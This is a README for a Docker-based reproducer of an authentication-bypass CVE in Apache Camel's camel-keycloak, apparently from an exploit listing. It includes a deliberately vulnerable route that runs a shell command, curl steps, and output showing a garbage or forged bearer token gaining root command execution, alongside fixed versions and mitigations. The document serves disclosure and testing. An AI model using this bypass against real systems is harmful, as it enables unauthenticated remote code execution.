Share
## https://sploitus.com/exploit?id=34B0AE85-2F00-5048-B5E7-AE23D71F98E9
# camel-keycloak Fail-Open Authentication Bypass Reproducer (CVE-2026-53913)

This project demonstrates a **fail-open authentication bypass** in Apache Camel's `camel-keycloak` security
policy, tracked as **CVE-2026-53913** โ€” the most severe issue in the 2026 batch (a pre-authentication bypass that
can lead to unauthenticated RCE).

`KeycloakSecurityPolicy` is applied to a route to require a valid Keycloak token. But the only code that actually
verifies the token (signature / issuer / expiry, and the introspection path) lives inside `validateRoles()` /
`validatePermissions()`, and each of those is invoked **only when the corresponding required-list is non-empty**:

```java
// KeycloakSecurityProcessor.beforeProcess (affected 4.18.2)
String accessToken = getAccessToken(exchange);
if (accessToken == null) {
    throw new CamelAuthorizationException("Access token not found in exchange", exchange);   // the ONLY guard
}
if (!policy.getRequiredRolesAsList().isEmpty()) {
    validateRoles(accessToken, exchange);            // token verification happens ONLY here...
}
if (!policy.getRequiredPermissionsAsList().isEmpty()) {
    validatePermissions(accessToken, exchange);      // ...or here
}
```

`KeycloakSecurityPolicy` defaults `requiredRoles` and `requiredPermissions` to `""`. So in the component's
documented **"Basic Setup"** (apply the policy, don't configure roles/permissions โ€” the common "just require
authentication" case), the token gets **only a non-null check** and is **never verified**. Any non-null bearer
value โ€” a garbage string like `x`, or a forged, unsigned JWT โ€” reaches the protected route. Enabling
`useTokenIntrospection` does not help: that path is gated the same way.

When the protected route forwards to a privileged sink (exec / sql / bean / file), this is an **unauthenticated
remote code execution**. This PoC wires the protected admin route to the `exec` component and shows a forged /
garbage bearer token running a shell command (`CWE-287` / `CWE-306` / `CWE-636`).

Advisory: https://camel.apache.org/security/CVE-2026-53913.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-keycloak` (security policy) |
| **Affected Class** | `org.apache.camel.component.keycloak.security.KeycloakSecurityProcessor#beforeProcess` (verification gated on non-empty roles/permissions) |
| **CWE** | CWE-287 (Improper Authentication) / CWE-306 (Missing Authentication) / CWE-636 (Not Failing Securely) |
| **Impact** | Pre-authentication bypass; unauthenticated RCE when the protected route forwards to a code-exec sink |
| **Preconditions** | A route protected by `KeycloakSecurityPolicy` with no required roles/permissions (the documented Basic Setup) |
| **Affected Versions** | From 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 (camel-keycloak was introduced in 4.15.0) |
| **Fixed Versions** | 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23738 (PR [apache/camel#23958](https://github.com/apache/camel/pull/23958)) |
| **Credit** | Lidor Ben Shitrit (Novee Security) |

> The fix verifies the token whenever the policy is applied โ€” independent of whether roles/permissions are
> configured โ€” and runs any authorization checks only after authentication, so an invalid token is rejected just
> like a missing one.

## Why no Keycloak server is needed

The bypass path never verifies the token, so it never contacts Keycloak. The reproducer configures the policy
with an ordinary (unreachable) server URL/realm/client and simply never reaches the verification code โ€” exactly
the defect. No Keycloak instance, network, or credentials are involved.

## The victim route

```java
from("platform-http:/admin/run")
    .policy(keycloakPolicy)                 // Basic Setup: no roles/permissions -> token never verified
    .setHeader("CamelExecCommandExecutable", constant("/bin/sh"))
    .setHeader("CamelExecCommandArgs", constant("-c \"id > /tmp/pwned\""))
    .to("exec:sh");                         // the privileged admin operation
```

## Repository layout

```
CVE-2026-53913/
โ”œโ”€โ”€ pom.xml                 # camel-platform-http + camel-keycloak + camel-exec 4.18.2
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker-compose.yml      # single self-contained service
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ KeycloakPolicyConfig.java  # KeycloakSecurityPolicy in the Basic Setup (no roles/permissions)
    โ”‚   โ”œโ”€โ”€ VictimRoute.java           # platform-http:/admin/run -> policy -> exec
    โ”‚   โ””โ”€โ”€ ExploitController.java     # attacker: no token / garbage / forged JWT
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

## Prerequisites

- Docker and Docker Compose
- Java 17+ and Maven 3.8+

## Reproduction Steps

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Expected output

```
1) No Authorization header
     HTTP 500  (rejected)

2) Authorization: Bearer x   (garbage โ€” not a JWT at all)
     HTTP 200  (BYPASSED -> admin operation ran)
     /tmp/pwned present: true  -> uid=0(root) gid=0(root) groups=0(root)

3) Authorization: Bearer 
     HTTP 200  (BYPASSED -> admin operation ran)
     /tmp/pwned present: true  -> uid=0(root) gid=0(root) groups=0(root)

>>> PROVEN: with no required roles/permissions, the token is never verified. Any non-null bearer
>>> value (garbage or a forged unsigned JWT) reaches the protected admin operation, while a missing
>>> token is the only thing rejected. Pre-auth bypass -> unauthenticated RCE (id written to /tmp/pwned): true
```

## Recommended Fix

Upgrade to **4.18.3 / 4.21.0** (CAMEL-23738). After upgrading, `KeycloakSecurityPolicy` verifies the presented
token whenever it is applied, even with no roles/permissions configured, so forged/garbage tokens are rejected.

## Mitigation

Until upgrading, do not rely on `KeycloakSecurityPolicy` alone with no roles/permissions. Configure required
roles or permissions (which forces the verification path), and/or place an independent, verified authentication
check in front of any route driving a privileged sink.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission. The injected command is a benign
`id` writing a marker file.